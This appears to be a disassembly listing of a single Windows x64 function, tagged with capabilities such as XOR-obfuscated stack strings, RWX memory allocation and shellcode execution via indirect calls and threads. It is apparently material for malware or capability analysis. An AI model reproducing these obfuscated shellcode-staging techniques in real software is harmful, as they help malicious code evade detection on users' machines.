Function at 0x14003da90
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create thread
Encode data using xor
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2d0]
sub rsp, 0x3d0
mov rax, qword [0x140056040]
xor rax, rsp
mov qword [rbp + 0x2c0], rax
xor r15d, r15d
lea rcx, [rbp + 0x2f8]
movabs r12, 0x7a5db90d33787107
mov qword [rbp - 8], r12
mov qword [rbp], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rbp - 0x10], rax
mov qword [rcx], r15
lea r10d, [r15 + 0xf]
lea r14, [0x140000000]
lea esi, [r15 + 3]
cmp qword [0x140057118], r15
jne 0x14003dd75
movabs r11, 0x9fc9e42041e5e99a
mov rdi, r11
lea rax, [rbp + 0x240]
sub rdi, rax
lea rbx, [rbp + 0x2f8]
lea r13, [0x1400454e0]
mov byte [rbp + 0x240], 0xd6
mov byte [rbp + 0x241], 0xfd
mov byte [rbp + 0x242], 0xe7
mov byte [rbp + 0x243], 0xe7
mov byte [rbp + 0x244], 0xf5
mov byte [rbp + 0x245], 0xf8
mov byte [rbp + 0x246], 0xd5
mov byte [rbp + 0x247], 0xc0
mov byte [rbp + 0x248], 0x82
mov byte [rbp + 0x249], 0x81
mov byte [rbp + 0x24a], 0xa0
movzx eax, byte [rbp + 0x240]
mov r9, r15
nop dword [rax]
lea rdx, [rbp + 0x240]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r10
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, dil
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x240], al
inc r9
cmp r9, 0xb
jb 0x14003db90
lea rdx, [rbp + 0x240]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140057118], rax
mov dword [rsp + 0x4c], 0x64
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], rbx
mov rbx, qword [rbx]
xor rbx, r12
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x2f8]
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005b7c0]
test rax, rax
je 0x14003dc49
nop dword [rax]
cmp rax, r13
je 0x14003dc36
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5b7c0]
test rax, rax
jne 0x14003dc20
jmp 0x14003dc49
mov eax, ecx
mov r8, qword [r14 + rax*8 + 0x58ec0]
test r8, r8
jne 0x14003dd2f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003dc70
mov r8, r15
jmp 0x14003dd0e
mov rcx, r13
mov rdx, rsi
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14003dc80
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x14005d3f0]
mov qword [r14 + rax*8 + 0x5b7c0], r13
mov qword [r14 + rax*8 + 0x58ec0], r8
inc rax
mov qword [0x14005d3f0], rax
lea rdx, [rsp + 0x4c]
mov rcx, qword [sym.imp.KERNEL32.dll_Sleep]
call r8
nop
xor rbx, r12
mov qword [rbp - 0x40], rbx
lea rax, [rbp + 0x2f8]
mov qword [rax], rbx
cmp qword [0x140057118], 0
mov r10d, 0xf
lea rbx, [rbp + 0x2f8]
movabs r11, 0x9fc9e42041e5e99a
je 0x14003db32
lea rax, [0x1400570f0]
mov qword [rbp - 0x80], rax
lea r13, [rbp + 0x2f8]
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], r13
mov rbx, qword [r13]
xor rbx, r12
mov qword [rbp - 0x28], rbx
mov qword [r13], r15
mov ecx, r15d
lea rdi, [0x140045510]
mov rax, qword [0x14005b170]
test rax, rax
je 0x14003dddd
cmp rax, rdi
je 0x14003ddca
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5b170]
test rax, rax
jne 0x14003ddb4
jmp 0x14003dddd
mov eax, ecx
mov r9, qword [r14 + rax*8 + 0x58550]
test r9, r9
jne 0x14003debf
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14003de04
mov r9, r15
jmp 0x14003de9e
mov rax, rdi
mov rcx, r9
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14003de10
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x14005d3f8]
mov qword [r14 + rax*8 + 0x5b170], rdi
mov qword [r14 + rax*8 + 0x58550], r9
inc rax
mov qword [0x14005d3f8], rax
lea r8, [rbp - 0x80]
lea rdx, [0x140057118]
mov rcx, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call r9
nop
xor rbx, r12
mov qword [rbp - 0x28], rbx
mov qword [r13], rbx
call fcn.14003bee0
test al, al
je 0x14003e1ce
lea rcx, [rbp + 0x2f8]
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], rcx
mov rax, qword [rcx]
xor rax, r12
mov qword [rbp - 0x58], rax
mov qword [rcx], r15
mov ecx, dword [0x1400570f0]
lea rdx, [rbp + 0x2f8]
mov rax, qword [0x1400571b0]
mov dword [rax], ecx
mov qword [rdx], r15
mov eax, 0x82f6
mov word [rbp + 0x270], ax
mov eax, 0x82db
mov word [rbp + 0x272], ax
mov eax, 0x82b0
mov word [rbp + 0x274], ax
mov eax, 0x82bd
mov word [rbp + 0x276], ax
mov ecx, 0x82ab
mov word [rbp + 0x278], cx
mov r9d, 0x82a1
mov word [rbp + 0x27a], r9w
mov r10d, 0x82b5
mov word [rbp + 0x27c], r10w
mov edx, 0x82a4
mov word [rbp + 0x27e], dx
mov eax, 0x8287
mov word [rbp + 0x280], ax
mov eax, 0x82ad
mov word [rbp + 0x282], ax
mov word [rbp + 0x284], cx
mov r8d, 0x82af
mov word [rbp + 0x286], r8w
mov word [rbp + 0x288], ax
mov ecx, 0x82b9
mov word [rbp + 0x28a], cx
mov eax, 0x82ec
mov word [rbp + 0x28c], ax
mov eax, 0x8290
mov word [rbp + 0x28e], ax
mov eax, 0x82a9
mov word [rbp + 0x290], ax
mov eax, 0x82aa
mov word [rbp + 0x292], ax
mov eax, 0x82e4
mov word [rbp + 0x294], ax
mov eax, 0x82ed
mov word [rbp + 0x296], ax
mov eax, 0x82f8
mov word [rbp + 0x298], ax
mov eax, 0x828b
mov word [rbp + 0x29a], ax
mov word [rbp + 0x29c], cx
mov eax, 0x82b8
mov word [rbp + 0x29e], ax
mov word [rbp + 0x2a0], dx
mov word [rbp + 0x2a2], r9w
mov eax, 0x82bb
mov word [rbp + 0x2a4], ax
mov ecx, 0x82b4
mov word [rbp + 0x2a6], cx
mov word [rbp + 0x2a8], cx
mov eax, 0x82f3
mov word [rbp + 0x2aa], ax
mov word [rbp + 0x2ac], cx
mov word [rbp + 0x2ae], r8w
mov word [rbp + 0x2b0], r10w
mov eax, 0x82d4
mov word [rbp + 0x2b2], ax
movzx eax, word [rbp + 0x270]
mov r9, r15
movabs r10, 0xad693a6245b782be
mov r11d, 0x7d42
mov r13d, 0xf
nop word [rax + rax]
movzx r8d, word [rbp + r9*2 + 0x270]
mov rcx, r9
and ecx, r13d
cmp rcx, r13
cmovae rcx, r13
shl cl, 2
mov rdx, r10
shr rdx, cl
and dx, r13w
movzx eax, r9w
sub ax, r11w
xor dx, ax
xor dx, r8w
mov word [rbp + r9*2 + 0x270], dx
inc r9
cmp r9, 0x22
jb 0x14003e0c0
mov rdi, qword [0x1400571b0]
lea rax, [rbp + 0x2f8]
mov qword [rbp - 0x68], r12
mov qword [rbp - 0x60], rax
mov rbx, qword [rax]
xor rbx, r12
mov qword [rbp - 0x70], rbx
mov qword [rax], r15
xor rbx, r12
mov eax, dword [rdi]
cmp dword [rdi + 0x20], 0
je 0x14003e15b
mov qword [rsp + 0x50], r15
mov dword [rbp + 8], eax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x10], rax
lea r8, [rbp + 8]
mov edx, 6
mov rcx, rdi
call fcn.14003c300
mov rcx, qword [rsp + 0x50]
jmp 0x14003e1ac
mov qword [rsp + 0x58], r15
mov dword [rsp + 0x48], r15d
mov dword [rbp + 0x20], eax
lea rax, [rsp + 0x58]
mov qword [rbp + 0x228], rax
lea rax, [rsp + 0x48]
mov qword [rbp + 0x230], rax
lea r8, [rbp + 0x270]
mov edx, 0xff
lea rcx, [rbp + 0x24]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscpy_s]
lea r8, [rbp + 0x20]
mov edx, 5
mov rcx, rdi
call fcn.14003c300
mov rcx, qword [rsp + 0x58]
mov qword [rbp - 0x70], rbx
mov qword [0x140057110], rcx
mov rax, qword [rbp - 0x58]
xor rax, r12
mov qword [rbp - 0x58], rax
lea rdx, [rbp + 0x2f8]
mov qword [rdx], rax
jmp 0x14003e1db
mov rcx, qword [0x140057110]
mov r13d, 0xf
mov qword [rbp - 0x78], rcx
mov byte [rbp + 0x250], 0x40
mov byte [rbp + 0x251], 0x68
mov byte [rbp + 0x252], 0x7d
mov byte [rbp + 0x253], 0x76
mov byte [rbp + 0x254], 0x73
mov byte [rbp + 0x255], 0x65
mov byte [rbp + 0x256], 0x52
mov byte [rbp + 0x257], 7
mov byte [rbp + 0x258], 0x41
mov byte [rbp + 0x259], 0x4d
mov byte [rbp + 0x25a], 0x54
mov byte [rbp + 0x25b], 0x49
mov byte [rbp + 0x25c], 0xe
mov byte [rbp + 0x25d], 0x4c
mov byte [rbp + 0x25e], 0x44
mov byte [rbp + 0x25f], 0x46
mov byte [rbp + 0x260], 0x52
mov byte [rbp + 0x261], 0x4f
mov byte [rbp + 0x262], 0x51
mov byte [rbp + 0x263], 0x56
mov byte [rbp + 0x264], 0x1c
mov byte [rbp + 0x265], 6
mov byte [rbp + 0x266], 0x14
mov byte [rbp + 0x267], 0x47
mov byte [rbp + 0x268], 0x1d
mov byte [rbp + 0x269], 0x36
mov byte [rbp + 0x26a], 0x37
movzx eax, byte [rbp + 0x250]
mov r9, r15
movabs r11, 0xb8a893f161988e1a
mov r10, r11
lea rax, [rbp + 0x250]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x250]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r13
shl cl, 2
mov rax, r11
shr rax, cl
and al, 0xf
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x250], al
inc r9
cmp r9, 0x1b
jb 0x14003e2c0
lea rax, [rbp + 0x250]
mov qword [rsp + 0x70], rax
lea r13, [rbp + 0x2f8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], r13
mov rbx, qword [r13]
xor rbx, r12
mov qword [rsp + 0x30], rbx
mov qword [r13], r15
mov ecx, r15d
lea rdi, [0x140045510]
mov rax, qword [0x14005f060]
test rax, rax
je 0x14003e36c
cmp rax, rdi
je 0x14003e359
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5f060]
test rax, rax
jne 0x14003e343
jmp 0x14003e36c
mov eax, ecx
mov r9, qword [r14 + rax*8 + 0x5ae50]
test r9, r9
jne 0x14003e44f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9, rax
test rax, rax
jne 0x14003e393
mov r9, r15
jmp 0x14003e42e
mov rax, rdi
mov rcx, r9
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14003e3a0
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140060320]
mov qword [r14 + rax*8 + 0x5f060], rdi
mov qword [r14 + rax*8 + 0x5ae50], r9
inc rax
mov qword [0x140060320], rax
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x70]
lea rcx, [fcn.1400011c0]
call r9
nop
xor rbx, r12
mov qword [r13], rbx
mov ecx, 8
call fcn.1400460f4
lea rcx, [0x14003d730]
mov qword [rax], rcx
mov qword [rsp + 0x70], rax
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], r15d
mov r9, rax
lea r8, [0x140045b50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14003ea49
cmp dword [rsp + 0x68], 0
je 0x14003ea3d
movaps xmm0, xmmword [rsp + 0x60]
movdqa xmmword [rsp + 0x70], xmm0
lea rcx, [rsp + 0x70]
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14003ea3d
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], rax
mov rbx, qword [rax]
xor rbx, r12
mov qword [rsp + 0x30], rbx
mov qword [rax], r15
mov ecx, r15d
lea rdi, [0x140045550]
mov rax, qword [0x14005f380]
test rax, rax
je 0x14003e53b
cmp rax, rdi
je 0x14003e528
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5f380]
test rax, rax
jne 0x14003e512
jmp 0x14003e53b
mov eax, ecx
mov r8, qword [r14 + rax*8 + 0x5a1b0]
test r8, r8
jne 0x14003e61f
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003e562
mov r8, r15
jmp 0x14003e5fe
mov rax, rdi
mov rcx, r8
mov rdx, rsi
nop dword [rax + rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14003e570
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140060650]
mov qword [r14 + rax*8 + 0x5f380], rdi
mov qword [r14 + rax*8 + 0x5a1b0], r8
inc rax
mov qword [0x140060650], rax
lea rcx, [0x14003f100]
call r8
nop
xor rbx, r12
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], rax
xor rbx, r12
mov qword [rsp + 0x30], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005f380]
test rax, rax
je 0x14003e681
cmp rax, rdi
je 0x14003e66e
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5f380]
test rax, rax
jne 0x14003e658
jmp 0x14003e681
mov eax, ecx
mov r8, qword [r14 + rax*8 + 0x5a1b0]
test r8, r8
jne 0x14003e760
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003e6a8
mov r8, r15
jmp 0x14003e73f
mov rax, rdi
mov rcx, r8
mov rdx, rsi
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14003e6b1
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140060650]
mov qword [r14 + rax*8 + 0x5f380], rdi
mov qword [r14 + rax*8 + 0x5a1b0], r8
inc rax
mov qword [0x140060650], rax
lea rcx, [0x140040100]
call r8
nop
xor rbx, r12
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], rax
xor rbx, r12
mov qword [rsp + 0x30], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005f380]
test rax, rax
je 0x14003e7c9
nop dword [rax]
cmp rax, rdi
je 0x14003e7b6
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5f380]
test rax, rax
jne 0x14003e7a0
jmp 0x14003e7c9
mov eax, ecx
mov r8, qword [r14 + rax*8 + 0x5a1b0]
test r8, r8
jne 0x14003e8af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14003e7f0
mov r8, r15
jmp 0x14003e88e
mov rax, rdi
mov rcx, r8
mov rdx, rsi
nop dword [rax]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14003e800
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140060650]
mov qword [r14 + rax*8 + 0x5f380], rdi
mov qword [r14 + rax*8 + 0x5a1b0], r8
inc rax
mov qword [0x140060650], rax
lea rcx, [0x140042b90]
call r8
nop
xor rbx, r12
lea rax, [rbp + 0x2f8]
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x40], rax
xor rbx, r12
mov qword [rsp + 0x30], rbx
mov qword [rax], r15
mov ecx, r15d
mov rax, qword [0x14005f380]
test rax, rax
je 0x14003e911
cmp rax, rdi
je 0x14003e8fe
inc ecx
mov rax, qword [r14 + rcx*8 + 0x5f380]
test rax, rax
jne 0x14003e8e8
jmp 0x14003e911
mov eax, ecx
mov r10, qword [r14 + rax*8 + 0x5a1b0]
test r10, r10
jne 0x14003e9ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r10, rax
test rax, rax
jne 0x14003e938
mov r10, r15
jmp 0x14003e9ce
mov rax, rdi
mov rcx, r10
nop
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rsi, 1
jne 0x14003e940
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140060650]
mov qword [r14 + rax*8 + 0x5f380], rdi
mov qword [r14 + rax*8 + 0x5a1b0], r10
inc rax
mov qword [0x140060650], rax
lea rcx, [fcn.140044300]
call r10
nop
mov rax, qword [rbp - 0x10]
xor rax, r12
lea rcx, [rbp + 0x2f8]
mov qword [rcx], rax
xor eax, eax
mov rcx, qword [rbp + 0x2c0]
xor rcx, rsp
call fcn.140045d10
lea r11, [rsp + 0x3d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov dword [rsp + 0x68], r15d
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3